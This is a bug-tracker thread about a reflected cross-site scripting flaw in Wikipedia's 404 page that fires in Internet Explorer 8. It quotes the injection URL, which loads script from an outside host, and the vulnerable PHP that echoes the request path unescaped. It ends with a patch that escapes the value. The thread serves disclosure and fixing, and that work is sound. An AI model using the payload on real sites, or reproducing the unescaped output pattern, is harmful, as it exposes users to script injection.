Wikimedia Bugzilla is closed!

Hi Masato, thanks a lot for taking the time to report this!

Confirming for Internet Explorer only.
No popup for Firefox 18, Opera 12.14 and Google Chrome 26 on Fedora Linux.
No popup for Firefox 18, Opera 12.12 on Windows XP SP3.

When I try the given URL with Microsoft Internet Explorer 8 on Microsoft Windows XP SP3, I get the "Error 404 - File not found" page, but also a popup saying:

     Message from webpage
     1

The 404 page says:

     Error
     404 - File not found
     http://en.wikipedia.org/w/a?"src=//l0.cm></script><script/id="
     We could not find the above page on our servers.
     To check for "a?"src=//l0.cm>

Note the truncated URL. All other tested browsers show the following (full plus also correctly URL-encoded) output on the 404 page:

     Error
     404 - File not found
     http://en.wikipedia.org/w/a?"src=//l0.cm></script><script/id="
     We could not find the above page on our servers.
     To check for "a?%22src=//l0.cm%3E%3C/script%3E%3Cscript/id=%22"
     on Wikipedia, see: //en.wikipedia.org/wiki/a?
     %22src=//l0.cm%3E%3C/script%3E%3Cscript/id=%22
     Alternatively, you can visit the Main Page or read 
     more information about this type of error.
     A project of the Wikimedia Foundation

Looks like it's coming from 404.php:

if( preg_match( "|(%2f)|i", $loc, $matches ) ||
    preg_match( "|^/upload/(.*)|i",$loc, $matches ) || preg_match("|^/style/(.*)|i",$loc, $matches ) ||
    preg_match( "|^/wiki/(.*)|i",$loc, $matches ) || preg_match("|^/w/(.*)|i",$loc, $matches ) ||
    preg_match( "|^/extensions/(.*)|i",$loc, $matches ) ) {
	$title = $matches[1];
	$details = "<p style=\"font-weight: bold;\">To check for \"$title\" on Wikipedia, see: 
                <a href=\"//en.wikipedia.org/wiki/$title\" title=\"Wikipedia:$title\">
                //en.wikipedia.org/wiki/$title</a></p>";


Since $loc comes directly from $_SERVER["REQUEST_URI"] without escaping, $matches[1] needs to be escaped.

Created attachment 12303 [details]
Escape $matches[1] before output

https://gerrit.wikimedia.org/r/#/c/64617/